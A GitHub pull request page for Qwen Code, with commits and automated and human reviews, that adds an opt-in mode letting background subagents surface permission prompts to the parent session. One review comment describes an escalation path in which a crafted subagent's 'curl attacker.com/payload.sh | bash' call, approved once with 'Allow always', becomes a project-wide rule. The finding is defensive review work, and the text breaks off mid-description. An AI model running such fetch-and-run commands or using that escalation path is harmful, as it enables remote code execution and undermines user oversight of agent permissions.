feat(core,cli): bubble background subagent permission prompts to the parent session#4955
Conversation
…parent session Background subagents auto-deny any tool call that needs interactive confirmation, so a single permission-gated step (a git push, an rm, a network call) silently fails and the work bounces back to the parent turn — defeating the point of backgrounding. This adds an opt-in approvalMode value for subagent definitions, `bubble`: instead of denying, the call is parked on the BackgroundTaskRegistry and surfaced in the Background tasks dialog, where the user answers it through the shared ToolConfirmationMessage; the agent then resumes. - `bubble` is a subagent-only approvalMode (deliberately not a session-level ApprovalMode value); it resolves to `default` run behavior and only flips the background path from deny to surface, in interactive sessions. Headless / non-interactive contexts keep auto-deny. - BackgroundTaskRegistry grows a parked-approval queue (add/resolve/clear), an approval-change callback, and an event bridge (TOOL_WAITING_APPROVAL parks, TOOL_RESULT clears stale prompts). Every terminal transition auto-rejects parked calls so the agent loop never hangs on an unanswerable prompt; cancel() rejects before aborting so respond(Cancel) actually fires ahead of the abort-driven queue clear. Auto-reject failures are caught on the promise, not via try/catch around a voided async call. - The launch path (agent.ts) and the resume path (background-agent-resume.ts) share the same gate, so a resumed agent of the same definition keeps bubbling instead of silently reverting to auto-deny. - TUI: the footer pill shows a "needs approval" marker, dialog list rows are flagged, and the detail view embeds the confirmation prompt. While a prompt is up, left (back) and x (stop agent) remain available as escape hatches so a re-parking agent cannot trap the keyboard. Closes QwenLM#4928 Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
check-i18n requires every zh key to have a zh-TW counterpart; the three strings added for permission bubbling were registered in en/zh only. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
- resolvePendingApproval: if respond() rejects, the tool call is still parked in the scheduler, so re-add the approval and re-emit instead of silently clearing the prompt (which left the UI showing nothing pending while the agent hung). Returns false on failure. - reset() and finalizeCancellationIfPending(): reject parked approvals defensively. The /resume and /clear paths already gate on hasBlockingBackgroundWork() so these only run on terminal entries today, but rejecting here means a future caller dropping that guard can't strand an unanswered respond() callback. - resolveSubagentApprovalMode: resolve the subagent-only 'bubble' mode to Default explicitly rather than via approvalModeToPermissionMode's default fall-through, so a future ApprovalMode.BUBBLE enum member can't silently change it. Adds tests for the fail / finalizeCancelled / reset auto-reject paths and the respond()-rejection re-park. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
…g-permission-bubble # Conflicts: # packages/core/src/subagents/subagent-manager.test.ts
DragonnZhang
left a comment
DragonnZhang
left a comment
There was a problem hiding this comment.
Automated Review - PR #4955
Verdict: 1 high-confidence issue blocking CI
CI status
- Lint: FAILURE (TypeScript compilation error)
- Test (ubuntu/macos/windows): FAILURE (cascading from build failure)
- CodeQL: SUCCESS
Finding: Missing args property in test event mocks breaks build (Critical)
File: packages/core/src/agents/background-tasks.test.ts, lines 1756, 1790, 1825
Three test cases emit TOOL_WAITING_APPROVAL events but the mock objects are missing the required args: Record<string, unknown> property from AgentApprovalRequestEvent (defined in agent-events.ts:162). This causes tsc --build to fail, which is the root cause of all CI failures.
Fix: Add args: {} to each of the three TOOL_WAITING_APPROVAL event objects.
General observations
The implementation is well-structured. The approval parking/resolve/clear lifecycle handles edge cases thoroughly (terminal-state auto-reject, cancel-before-abort ordering, respond() failure re-park, bridge cleanup). Test coverage is solid with 16+ new test cases. The bubble mode design is clean.
| registry.bridgeApprovalEvents('bg-appr-cancel', emitter); | ||
|
|
||
| const respond = vi.fn(async () => {}); | ||
| emitter.emit(AgentEventType.TOOL_WAITING_APPROVAL, { |
There was a problem hiding this comment.
Build-breaking type error: This TOOL_WAITING_APPROVAL event object is missing the required args property from AgentApprovalRequestEvent (see agent-events.ts:162). Same issue at lines 1790 and 1825.
Add args: {} to fix:
emitter.emit(AgentEventType.TOOL_WAITING_APPROVAL, {
subagentId: 'bg-appr-cancel',
round: 1,
callId: 'c1',
name: 'Shell',
description: 'run c1',
args: {}, // <-- required by AgentApprovalRequestEvent
confirmationDetails: { type: 'exec' } as BackgroundApproval['confirmationDetails'],
respond,
timestamp: Date.now(),
});This is the root cause of all CI failures (Lint + Test on all 3 platforms).
…bubble # Conflicts: # packages/core/src/utils/yaml-parser.test.ts
| // registry above (and useBackgroundTaskView refreshes `entries` on the | ||
| // registry's approval-change callback), so `pendingApprovals` is current. | ||
| // When present in detail mode, the dialog renders the shared | ||
| // ToolConfirmationMessage and yields keyboard focus to it. |
There was a problem hiding this comment.
[Suggestion] selectedAgentId is computed identically to the pre-existing selectedAgentIdForActivity declared 8 lines above (line 968). Both evaluate selectedEntry?.kind === 'agent' ? selectedEntry.agentId : undefined.
Having two names for the same value in the same scope is confusing and invites divergence bugs if one is later changed without the other.
| // ToolConfirmationMessage and yields keyboard focus to it. | |
| const selectedApproval: BackgroundApproval | undefined = |
Then replace selectedAgentId with selectedAgentIdForActivity in the approvalConfirmationDetails construction and resolvePendingApproval call below.
— qwen3.7-max via Qwen Code /review
DragonnZhang
left a comment
DragonnZhang
left a comment
There was a problem hiding this comment.
Re-reviewed at 75b36dd. No high-confidence issues found.
The permission-bubbling implementation is thorough and well-structured:
-
Lifecycle correctness: All terminal paths (complete, fail, cancel, abandon, finalizeCancelled, finalizeCancellationIfPending, reset) call
rejectPendingApprovalsto ensure parkedrespond()callbacks are never stranded. Thecancel()method correctly rejects before abort, with a clear comment and test explaining why ordering matters (abort synchronously emits TOOL_RESULT which would clear the queue before a late reject fires). -
Error recovery:
resolvePendingApprovaloptimistically removes the approval, then re-parks it ifrespond()rejects — preventing a silent hang. The two-emission pattern (optimistic clear + re-park) is verified by test. -
Type safety: The
as ToolCallConfirmationDetailscast in the UI is sound —AgentApprovalRequestEvent.confirmationDetailsisOmit<ToolCallConfirmationDetails, 'onConfirm'>, so addingonConfirmback via spread reconstructs the full type. -
Keyboard handling: The
approvalActiveguard in the detail dialog correctly yields all keys except left-arrow (back) and 'x' (stop) to the embedded ToolConfirmationMessage, preventing double-fire between the two keypress handlers. -
Test coverage: 18+ new tests cover the approval lifecycle, bridge wiring, cancel ordering, duplicate rejection, error recovery, and UI helpers.
CI is passing (CodeQL, Lint) with platform tests still in progress.
| live.isBackgrounded && | ||
| live.status === 'running' && | ||
| !(live.pendingApprovals ?? []).some((a) => a.callId === callId) | ||
| ) { |
There was a problem hiding this comment.
[Critical] The re-park path re-adds the original approval object, but its respond closure has already been consumed. In agent-core.ts, the respond closure adds callId to the responded set before attempting onConfirm. When respond() rejects and this catch block re-parks, a subsequent user retry hits if (responded.has(callId)) return — silently succeeding without reaching the scheduler. The UI removes the approval (thinking it was answered), but the agent's tool call stays parked in awaiting_approval indefinitely. The only recovery is to cancel the agent.
Fix: Either (a) don't re-park and surface an error notification instead, or (b) create a fresh approval with a new respond closure that resets the responded guard for that callId.
— qwen3.7-max via Qwen Code /review
| * once everything is terminal, switch to a generic "done" form so the pill | ||
| * still invites reopening the dialog to inspect final state. | ||
| */ | ||
| /** |
There was a problem hiding this comment.
[Suggestion] The pre-existing JSDoc block ("Pill label: prefer live running counts...") is now orphaned above hasPendingApproval instead of getPillLabel. Two consecutive /** */ blocks create misleading association — a reader scanning top-to-bottom will think the "Pill label" comment documents hasPendingApproval.
| /** | |
| /** | |
| * True if any background agent has a tool call parked awaiting user | |
| * approval (permission bubbling). Drives the pill's "needs approval" | |
| * marker so the user is nudged to open the dialog and answer. | |
| */ | |
| export function hasPendingApproval(entries: readonly DialogEntry[]): boolean { |
Then move the "Pill label" JSDoc back to directly above getPillLabel.
— qwen3.7-max via Qwen Code /review
| 6, | ||
| Math.floor(detailContentHeight / 2), | ||
| )} | ||
| compactMode |
There was a problem hiding this comment.
[Critical] Compact-mode ToolConfirmationMessage ignores hideAlwaysAllow and unconditionally renders the "Allow always" (ProceedAlways) option (see ToolConfirmationMessage.tsx ~lines 504-520 vs. the non-compact hideAlwaysAllow gates at lines 224, 374, 459).
When the user selects "Allow always", the ProceedAlways outcome flows through resolvePendingApproval → respond() → handleConfirmationResponse → persistPermissionOutcome. Because the background agent's config inherits from the parent via Object.create(agentConfig), the permission rule is persisted to the parent session's settings.json at project scope.
A crafted subagent definition with approvalMode: bubble could exploit this to escalate permissions: make a dangerous tool call (e.g., Shell(curl attacker.com/payload.sh | bash)), the approval bubbles to the parent UI, user clicks "Allow always", and now Bash(curl:*) is auto-approved project-wide for all future sessions.
Fix options:
- Downgrade
ProceedAlways*outcomes toProceedOnceinresolvePendingApprovalbefore callingrespond():
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
outcome = ToolConfirmationOutcome.ProceedOnce;
}- Set
hideAlwaysAllow: trueon theBackgroundApproval'sconfirmationDetailsand fix the compact-mode path to honor it.
— qwen3.7-max via Qwen Code /review
DragonnZhang
left a comment
DragonnZhang
left a comment
There was a problem hiding this comment.
Re-reviewed at 753d308d (previously approved at 162ce4ef).
Summary: This PR adds permission bubbling for background subagents — when a background agent with approvalMode: bubble needs tool confirmation, the prompt surfaces in the parent session's Background Tasks UI instead of being auto-denied.
What I checked:
- Approval lifecycle in
BackgroundTaskRegistry: park, resolve, clear, auto-reject on terminal states (complete/fail/cancel/reset/abandon/finalize). Ordering is correct —rejectPendingApprovalsfires beforeabort()incancel()to avoid the synthetic TOOL_RESULT clearing the queue first. normalizeBackgroundApprovalOutcomecorrectly downgradesProceedAlways*→ProceedOncesince persistent approvals don't make sense for background agents.- Resume path (
background-agent-resume.ts) mirrors the launch path (agent.ts) —shouldBubblegate, bridge setup, cleanup. - UI keyboard delegation: when
approvalActive, only←(back) andx(stop) are intercepted by the dialog; all other keys yield toToolConfirmationMessage. hideAlwaysAllow: trueon the reconstructedToolCallConfirmationDetailsis consistent with the persistent-approval downgrade.- Type propagation:
AgentTask.pendingApprovals→DialogEntry(viaTaskState = AgentTask | ShellTask | MonitorTask) is correct. isSubagentApprovalModereadsAPPROVAL_MODESlazily to avoid the circular-import initialization hazard.- New tests cover the full approval lifecycle, edge cases (late arrivals, duplicate callIds, respond rejection → agent failure), cancel ordering, and the
hideAlwaysAllowUI flag.
No high-confidence issues found. Well-structured PR with thorough test coverage and careful attention to ordering invariants and edge cases.
wenshao
left a comment
wenshao
left a comment
There was a problem hiding this comment.
Reviewed at 753d308. Verified locally: the changed test suites all pass (background-tasks 81, subagent-manager, agent.test.ts -t resolveSubagentApprovalMode, plus the three CLI suites — 54 tests), and I traced the runtime paths this builds on (agent-core's approval emission and its responded idempotency guard, coreToolScheduler's auto-deny, AgentInteractive's foreground handling).
What this does well
- Every terminal transition (
complete/fail/cancel/finalizeCancelled/abandon/reset) auto-rejects parked approvals, and the cancel-before-abort ordering is locked in by a test that wires the real bridge + abort chain rather than mocking it. - The auto-reject vs. user-answer race is safe end to end: the runtime
respondis idempotent (respondedset), andresolvePendingApprovalremoves from the queue before responding. - The resume path mirrors the launch gate, so a resumed bubble agent doesn't silently revert to auto-deny; non-interactive surfaces (
-p, ACP, serve) keep auto-deny viaisInteractive(). - Downgrading persistent outcomes to
ProceedOnceplushideAlwaysAllowis the right call — a prompt answered from the background dialog shouldn't mutate session/project allowlists.
Issues — details inline
- Medium — the unconditional
x/←escape hatches collide with bubbledask_user_questionconfirmations (free-text "Other" input,←/→question navigation): typingxcancels the agent on the first press. Reachable with this PR's own example agent (notools:allowlist →['*']). (BackgroundTasksDialog.tsx) - Low —
resolvePendingApproval's failure path marks the entry failed but never aborts the run, leaving a stuck agent whosefinallycleanup never executes. (background-tasks.ts) - Nit —
normalizeBackgroundApprovalOutcomemisses the deprecatedProceedAlwaysServer/ProceedAlwaysTool. (background-tasks.ts) - Docs —
docs/users/features/sub-agents.mdstill lists the validapprovalModevalues withoutbubble. (types.ts)
PR description is stale relative to the latest commit
The body says approvals work "including 'allow always' outcomes" and the evidence / test-plan step 4 show a 2. Allow always option — but 753d308 hides Allow-always (hideAlwaysAllow: true) and downgrades any persistent outcome to ProceedOnce. Please update the description and test plan (the rendered options are now Yes, allow once / No).
Design observation (no action needed)
Time spent parked counts against the agent's max_time_minutes budget (checked at the loop checkpoints in agent-core), so an approval the user notices late can be approved and then immediately time the agent out — and the footer pill is the only signal that an approval is waiting. Fine for v1 given the listed follow-ups; worth keeping in mind before enabling bubbling on built-ins.
| exitDetail(); | ||
| return; | ||
| } | ||
| if (key.sequence === 'x' && !key.ctrl && !key.meta) { |
There was a problem hiding this comment.
The unconditional x / ← hatches collide with bubbled ask_user_question confirmations.
For confirmationDetails.type === 'ask_user_question', ToolConfirmationMessage early-returns AskUserQuestionDialog (before the compact-mode handling), and that dialog has a free-text "Other" TextInput plus ←/→ question navigation. This is reachable here: the ask_user_question tool's shouldConfirmExecute always requires confirmation, and a custom subagent without a tools: allowlist gets ['*'] (agent.ts:1198) — including this PR's own example bubbler agent.
Since useKeypress handlers broadcast (every active handler sees every key), while the user interacts with the embedded ask dialog:
- typing any
xcharacter in the "Other" input callshandleCancelKey(), which for a backgrounded agent cancels immediately on the first press (the double-press arming at L1113 only applies to foreground agents) — the agent is killed mid-answer; ←(cursor movement / previous-question navigation) also firesexitDetail(), unmounting the ask dialog and discarding the draft answers.
Suggest gating the hatches on the confirmation type — e.g. skip the plain x/← interception when selectedApproval?.confirmationDetails.type === 'ask_user_question' (Esc still denies, so the keyboard can't get trapped), or require a modifier while an approval is up.
| `Failed to resolve background approval for ${agentId}/${callId}:`, | ||
| error, | ||
| ); | ||
| this.fail(agentId, `Failed to resolve background approval: ${callId}`); |
There was a problem hiding this comment.
When respond() rejects while the agent is still running, this marks the entry failed and notifies the parent, but nothing aborts entry.abortController — the underlying run is left alive. The runtime's respond consumes its responded guard before invoking onConfirm (agent-core.ts:1287-1306), so after a rejection the parked call can never be answered again, the tool batch never settles, and runBody's finally cleanup (approval bridge, jsonl, per-subagent ToolRegistry release) never runs — a stuck run holding resources while the UI says "failed", whose eventual real complete()/fail() is then swallowed by the status/notified guards.
| this.fail(agentId, `Failed to resolve background approval: ${callId}`); | |
| this.fail(agentId, `Failed to resolve background approval: ${callId}`); | |
| entry.abortController.abort(); |
| outcome: Parameters<BackgroundApproval['respond']>[0], | ||
| ): Parameters<BackgroundApproval['respond']>[0] { | ||
| if ( | ||
| outcome === ToolConfirmationOutcome.ProceedAlways || |
There was a problem hiding this comment.
nit: the deprecated MCP outcomes ToolConfirmationOutcome.ProceedAlwaysServer / ProceedAlwaysTool aren't downgraded. They're unreachable from the dialog today (compact mode + hideAlwaysAllow leaves only once/cancel), but this function is the safety net for "a background prompt must not persist permissions" — any future surface that calls resolvePendingApproval with an MCP confirmation's native outcomes would slip through to respond() and mutate the allowlist. Cheap to include them here.
| * Optional permission mode for this subagent. | ||
| * Controls how tool calls are approved during execution. | ||
| * Valid values: 'default', 'plan', 'auto-edit', 'yolo'. | ||
| * Valid values: 'default', 'plan', 'auto-edit', 'yolo', 'bubble'. |
There was a problem hiding this comment.
bubble is user-facing frontmatter now, but docs/users/features/sub-agents.md still documents the valid values as default, plan, auto-edit, yolo (the frontmatter example comment at L138 and the "Valid values" section at L199). Worth updating in this PR so the validation error message (Valid values: default, plan, auto-edit, yolo, bubble) and the docs don't disagree — including the background-only / interactive-only semantics, since that's the part users can't guess from the name.
| // Non-interactive sessions can't answer, so they keep auto-deny. | ||
| // (`bubble` resolves to `default` run behavior, so the resolved mode | ||
| // already requires confirmation — this only flips deny → surface.) | ||
| const shouldBubble = Boolean( |
There was a problem hiding this comment.
[Suggestion] The shouldBubble gate (approvalMode === BUBBLE && isInteractive()), the Object.create(agentConfig) override with getShouldAvoidPermissionPrompts = () => !shouldBubble, and the conditional bridgeApprovalEvents + cleanupApprovalBridge?.() wiring are copy-pasted verbatim in background-agent-resume.ts (lines 568–575, 766). Three concerns must stay in sync across two files with only a comment ("Mirror the launch path's...") linking them.
If someone adds a third condition to the bubbling gate and updates only one site, freshly-launched and resumed agents will silently diverge — one bubbles, the other auto-denies.
Consider extracting a shared helper, e.g.:
function shouldBubbleApprovals(
subagentConfig: SubagentConfig, config: Config,
): boolean {
return subagentConfig.approvalMode === BUBBLE_APPROVAL_MODE && config.isInteractive();
}The function name becomes the single grep target and the return type documents the contract.
— qwen3.7-max via Qwen Code /review
| debugLogger.error( | ||
| `Failed to resolve background approval for ${agentId}/${callId}:`, | ||
| error, | ||
| ); |
There was a problem hiding this comment.
[Suggestion] Two issues in this catch block:
-
Too aggressive: a single
respond()failure (e.g. partially torn-down runtime frames) kills the entire agent viaabort()+fail(). A background agent that has been running for minutes with dozens of completed tool calls is destroyed because one permission callback rejected. Consider responding withCancelto just the specific tool call (the approval was already removed from the queue at line 697) instead of aborting the whole agent. -
Reverses the cancel() ordering:
cancel()(line 536) carefully callsrejectPendingApprovals(entry)BEFOREabort()— becauseabort()synchronously emits synthetic TOOL_RESULT that the bridge'sonResultuses to clear the queue. But hereabort()runs first (line 710), thenfail()(which callsrejectPendingApprovalsinternally). If other approvals are concurrently parked, the abort can clear them via TOOL_RESULT beforefail()reaches them, stranding theirrespond()callbacks.
If keeping the full abort, swap the order:
this.fail(agentId, `Failed to resolve background approval: ${callId}`);
entry.abortController.abort();— qwen3.7-max via Qwen Code /review
| expect(registry.getPendingApprovals('bg-appr-8')).toHaveLength(0); | ||
| }); | ||
|
|
||
| it('cancel() rejects parked approvals before the abort-driven clear (production ordering)', () => { |
There was a problem hiding this comment.
[Critical] The terminal-transition approval tests cover complete, fail, cancel, finalizeCancelled, and reset — but abandon() is missing. The existing abandon test (line 324) abandons a paused agent without parking any approvals first. Meanwhile, abandon() (source line 592) calls rejectPendingApprovals(entry).
A paused agent with a parked approval that the user abandons could leave the respond() callback stranded, causing the agent's reasoning loop to hang.
Add a test mirroring the cancel/fail patterns: register a paused entry, park an approval, call registry.abandon(agentId), assert respond was called with ToolConfirmationOutcome.Cancel and getPendingApprovals is empty.
— qwen3.7-max via Qwen Code /review
| setStatusChangeCallback: vi.fn((next: (() => void) | undefined) => { | ||
| cb = next; | ||
| }), | ||
| setApprovalChangeCallback: vi.fn((next: (() => void) | undefined) => { |
There was a problem hiding this comment.
[Critical] The fake registry defines setApprovalChangeCallback and fireApproval helpers (this block), but no test assertion ever references them. Specifically:
- The mount test does not assert
setApprovalChangeCallbackwas called with a function - The unmount test does not assert it was called with
undefined - No test fires
fireApproval()and asserts entries refresh
The approval callback wiring in useBackgroundTaskView.ts (subscription, cleanup, refresh-on-fire) is entirely uncovered. If the subscription or cleanup is broken, the footer pill's "needs approval" marker would not update and users would miss approval prompts.
— qwen3.7-max via Qwen Code /review
| }); | ||
|
|
||
| it('should resolve the subagent-only "bubble" mode to Default (confirmation required)', () => { | ||
| // `bubble` is not a privileged mode — it requires confirmation like |
There was a problem hiding this comment.
[Critical] The shouldBubble gate in agent.ts (line 2120) requires both approvalMode === BUBBLE_APPROVAL_MODE AND isInteractive(). The tests here cover the static resolveSubagentApprovalMode function but do not exercise the runtime shouldBubble gate. No test verifies that when isInteractive() returns false, a bubble-mode background agent still gets getShouldAvoidPermissionPrompts = () => true (auto-deny preserved for headless/ACP/SDK).
The non-interactive fallback is a core safety property: headless sessions must never surface an approval prompt no one can answer. Without a test, a refactor could silently allow prompts in headless mode, causing indefinite hangs.
— qwen3.7-max via Qwen Code /review
| 'Background tasks': 'Background tasks', | ||
| 'No tasks currently running': 'No tasks currently running', | ||
| 'No entry to show.': 'No entry to show.', | ||
| 'needs approval': 'needs approval', |
There was a problem hiding this comment.
[Suggestion] Three new i18n keys are added here (needs approval, Background agent needs approval, Approve or deny the request above), but the other six locale files (ca.js, de.js, fr.js, ja.js, pt.js, ru.js) were not updated. The t() function falls back to the raw key string, so users of those locales will see English text in the background tasks pill and dialog. Consider adding translations to all locale files, or adding these keys to mustTranslateKeys.ts to enforce parity.
— qwen3.7-max via Qwen Code /review
wenshao
left a comment
wenshao
left a comment
There was a problem hiding this comment.
| // x : stop the agent entirely (also auto-rejects its parked calls) | ||
| // Everything else yields so the dialog's own Enter/Esc handlers don't | ||
| // double-fire against the confirmation's. | ||
| if (approvalActive && !approvalUsesQuestionDialog) { |
There was a problem hiding this comment.
[Suggestion] The approvalUsesQuestionDialog guard correctly skips the compact escape hatches (← / x), but keys still fall through to the detail-mode handler below (~lines 1191–1215), which independently intercepts:
left→exitDetail()escape/return/space→closeDialog()
When an ask_user_question approval is active, the embedded AskUserQuestionDialog has its own useKeypress subscriber. Since KeypressContext.broadcast() iterates all subscribers without stop-propagation, both handlers fire: pressing space (toggle multi-select) or return (submit answer) also triggers closeDialog(), making the question dialog effectively unusable.
Suggested fix — add an early return for approvalUsesQuestionDialog before the detail-mode handler so AskUserQuestionDialog exclusively owns keyboard input:
if (approvalActive && approvalUsesQuestionDialog) {
// AskUserQuestionDialog owns all keyboard input
return;
}Related to the R1 comment at line 1140 (x/← collision with ask_user_question) — that fix addressed the escape-hatches block but not this fall-through to the detail-mode handler.
— qwen3.7-max via Qwen Code /review
Local runtime verification report (maintainer)Verified this PR at head Verdict: the feature works as described in every scenario I exercised — ✅ recommend merge. One UX observation worth the author's eyes (single-Esc double-effect, below), not a blocker. 1. Build + test suites
2. tmux E2E — author's script, then counter-checksFixture:
Physical cross-checks along the way: dry-run pushes left the bare remote empty (0 branches) while their stdout showed 3. Code-review notes (core wiring)
4. Observation for the author (not a blocker)Single Esc after approving cancelled the parent's turn. In run 1, immediately after approving the bubbled prompt (detail view still open, parent mid-stream "waiting for agent"), one 5. Not covered here
Environment: macOS (Darwin 25.5.0), Node v22.22.2, branch @ 中文版（Chinese version）本地运行时验证报告（维护者）在 head 结论:我演练的每个场景中该特性均按描述工作 —— ✅ 建议合并。 有一个值得作者过目的 UX 观察(单次 Esc 双重效果,见下),不阻塞合并。 1. 构建 + 测试套件
2. tmux E2E —— 作者剧本 + 对照场景Fixture:
过程中的物理交叉验证:dry-run push 让 bare 远端保持空(0 分支)而 stdout 显示 3. 代码审阅备注(core 接线)
4. 给作者的观察(非阻塞)批准后单次 Esc 同时取消了 parent 的回合。 第 1 轮中,批准冒泡提示后立即(详情视图仍开、parent 正流式输出"等待 agent")按一次 5. 本次未覆盖
环境:macOS (Darwin 25.5.0)、Node v22.22.2、分支 @ |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
No new issues found. LGTM! ✅ — qwen3.7-max via Qwen Code /review
|
@qwen-code /triage |
|
Thanks for the PR! Template looks good ✓ — all required sections present ( On direction: this solves a real, well-documented friction point — background subagents auto-denying permission-gated calls forces work back to the foreground, defeating the purpose of backgrounding. Closes #4928 which sits on the On approach: the scope feels right. Moving on to code review. 🔍 中文说明感谢贡献！ 模板完整 ✓ — 所有必需章节齐全。"Tested on" 表格为空，但 Evidence 部分注明 macOS，CI 覆盖三平台。 方向：解决了一个记录清晰的真实痛点 —— 后台 subagent 对需要权限确认的调用自动拒绝，导致工作弹回前台，使后台化失去意义。关联 #4928，属于 方案：范围合理。 进入代码审查 🔍 — Qwen Code · qwen3.7-max |
Code ReviewIndependent proposal (before reading the diff): to solve background subagent permission auto-denial, I would have added a pending-approvals queue on Comparison with the PR's approach: the implementation matches or exceeds this proposal. The No correctness bugs, security issues, or regressions found. The stray Test ResultsBuild + bundle: clean ( Unit tests — all green:
CI: Lint, CodeQL, and 3-platform test matrix (macOS, Ubuntu, Windows) all green. E2E Verification (maintainer tmux run)@wenshao already posted a detailed local runtime verification covering 6 scenarios with tmux-driven TUI against a real model (
One non-blocking observation from @wenshao: single Esc after approving may cancel both the dialog and the parent's in-flight turn (focus/ordering race). Worth a follow-up but not a merge blocker. 中文说明代码审查独立方案（读 diff 前）： 在 与 PR 方案对比： 实现达到或超过预期。 未发现正确性 bug、安全问题或回归。Stage 1 标记的多余 测试结果构建 + bundle： 干净（v0.17.1）。 单测 —— 全绿： core 300/300 + cli 87/87 = 387/387 ✅ CI： Lint、CodeQL、三平台测试矩阵全绿。 E2E 验证（维护者 tmux 实跑）@wenshao 已发布详细本地运行时验证，用 tmux 驱动真实 TUI + 真实模型（ 一个非阻塞观察：批准后单次 Esc 可能同时关闭对话框和取消 parent 回合（焦点竞争），值得后续跟进但不阻塞合并。 — Qwen Code · qwen3.7-max |
ReflectionThis is a well-executed feature PR. The problem is real and well-scoped (#4928), the design is clean ( Going back to my independent proposal: the PR's approach matches what I would have built, and in several areas exceeds it (the @wenshao's tmux verification is thorough — six scenarios including deny, stop, stays-parked, and both counter-checks, all against a real model with physical cross-checks (bare remote branch count confirming denied pushes didn't execute). The one non-blocking Esc race observation is worth a follow-up issue. The only cleanup item is the stray Approving. ✅ 中文说明总结这是一个执行良好的特性 PR。问题真实且范围明确（#4928），设计干净（ 与我的独立方案对比：PR 的方案与我会构建的匹配，多个方面超出预期（ @wenshao 的 tmux 验证全面 —— 六个场景包含拒绝、停止、保持停泊和两个对照，均使用真实模型并有物理交叉验证。唯一的非阻塞 Esc 竞争观察值得后续跟进。 唯一清理项是多余的 批准 ✅ — Qwen Code · qwen3.7-max |
qwen-code-ci-bot
left a comment
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅ One minor cleanup: drop the unused ws/@types/ws dependency from the CLI package before merge.
…parent session (#4955) * feat(core,cli): bubble background subagent permission prompts to the parent session Background subagents auto-deny any tool call that needs interactive confirmation, so a single permission-gated step (a git push, an rm, a network call) silently fails and the work bounces back to the parent turn — defeating the point of backgrounding. This adds an opt-in approvalMode value for subagent definitions, `bubble`: instead of denying, the call is parked on the BackgroundTaskRegistry and surfaced in the Background tasks dialog, where the user answers it through the shared ToolConfirmationMessage; the agent then resumes. - `bubble` is a subagent-only approvalMode (deliberately not a session-level ApprovalMode value); it resolves to `default` run behavior and only flips the background path from deny to surface, in interactive sessions. Headless / non-interactive contexts keep auto-deny. - BackgroundTaskRegistry grows a parked-approval queue (add/resolve/clear), an approval-change callback, and an event bridge (TOOL_WAITING_APPROVAL parks, TOOL_RESULT clears stale prompts). Every terminal transition auto-rejects parked calls so the agent loop never hangs on an unanswerable prompt; cancel() rejects before aborting so respond(Cancel) actually fires ahead of the abort-driven queue clear. Auto-reject failures are caught on the promise, not via try/catch around a voided async call. - The launch path (agent.ts) and the resume path (background-agent-resume.ts) share the same gate, so a resumed agent of the same definition keeps bubbling instead of silently reverting to auto-deny. - TUI: the footer pill shows a "needs approval" marker, dialog list rows are flagged, and the detail view embeds the confirmation prompt. While a prompt is up, left (back) and x (stop agent) remain available as escape hatches so a re-parking agent cannot trap the keyboard. Closes #4928 Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(i18n): add zh-TW translations for background approval strings check-i18n requires every zh key to have a zh-TW counterpart; the three strings added for permission bubbling were registered in en/zh only. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(core): harden background approval edge cases from review - resolvePendingApproval: if respond() rejects, the tool call is still parked in the scheduler, so re-add the approval and re-emit instead of silently clearing the prompt (which left the UI showing nothing pending while the agent hung). Returns false on failure. - reset() and finalizeCancellationIfPending(): reject parked approvals defensively. The /resume and /clear paths already gate on hasBlockingBackgroundWork() so these only run on terminal entries today, but rejecting here means a future caller dropping that guard can't strand an unanswered respond() callback. - resolveSubagentApprovalMode: resolve the subagent-only 'bubble' mode to Default explicitly rather than via approvalModeToPermissionMode's default fall-through, so a future ApprovalMode.BUBBLE enum member can't silently change it. Adds tests for the fail / finalizeCancelled / reset auto-reject paths and the respond()-rejection re-park. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com> * fix(core): include args in approval test events * test(core): update nested yaml parser expectations * fix(cli): reuse selected background agent id * fix(core): fail consumed background approval retries * fix(core): prevent persistent bubbled approvals * fix(core): harden bubbled approval handling * fix(core): cover background approval edge cases * fix(cli): isolate bubbled question approval keys * fix(cli): localize background approval labels --------- Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
4 participants
What this PR does
Adds permission bubbling for background subagents: a subagent definition can set
approvalMode: bubble, and when such an agent runs in the background and one of its tool calls needs interactive confirmation, the request is parked and surfaced in the parent session's Background tasks UI as an answerable approval prompt — instead of being auto-denied. The user approves or denies from the footer pill → dialog detail view (sameToolConfirmationMessagecomponent the foreground path uses, with persistent "allow always" choices hidden and downgraded to one-shot approvals), and the agent resumes.bubbleis a subagent-only approvalMode value, deliberately not added to the session-levelApprovalModeenum (it has no meaning as a session mode and would pollute the approval pickers). It resolves todefaultrun behavior — tool calls still require confirmation — and only changes what happens to that confirmation on the background path, in interactive sessions. Headless and non-interactive contexts (-p, ACP, SDK, serve) keep the existing auto-deny, so nothing can hang waiting on a prompt no surface will answer.Implementation outline:
BackgroundTaskRegistry: a parked-approval queue per entry (pendingApprovals),addPendingApproval/resolvePendingApproval/clearPendingApproval, an approval-change callback for UI subscription, andbridgeApprovalEvents(subscribes an agent emitter:TOOL_WAITING_APPROVALparks,TOOL_RESULTclears stale prompts — mirroring the foreground path's IDE-resolution guard). Every terminal transition (complete/fail/cancel/finalizeCancelled/abandon) auto-rejects parked calls withCancelso the agent's reasoning loop never hangs;cancel()rejects before aborting sorespond(Cancel)fires ahead of the abort-driven queue clear, and auto-reject failures are caught on the promise (an asyncrespondrejection would escape a plain try/catch as an unhandledRejection).approvalMode === 'bubble' && isInteractive()) is applied identically in the Agent tool's background launch path and inbackground-agent-resume.ts, so a resumed agent of the same definition keeps bubbling instead of silently reverting to auto-deny.⚠ needs approvalmarker, dialog list rows are flagged, and the detail view embeds the confirmation prompt. While a compact approval prompt is up the embedded component owns selection keys, while←(back to list, approval stays parked) andx(stop the agent) remain available. Question-style prompts keep their own free-text and navigation keys so answers are not intercepted.Why it's needed
Closes #4928.
Today a background subagent that hits a single permission-gated call (a
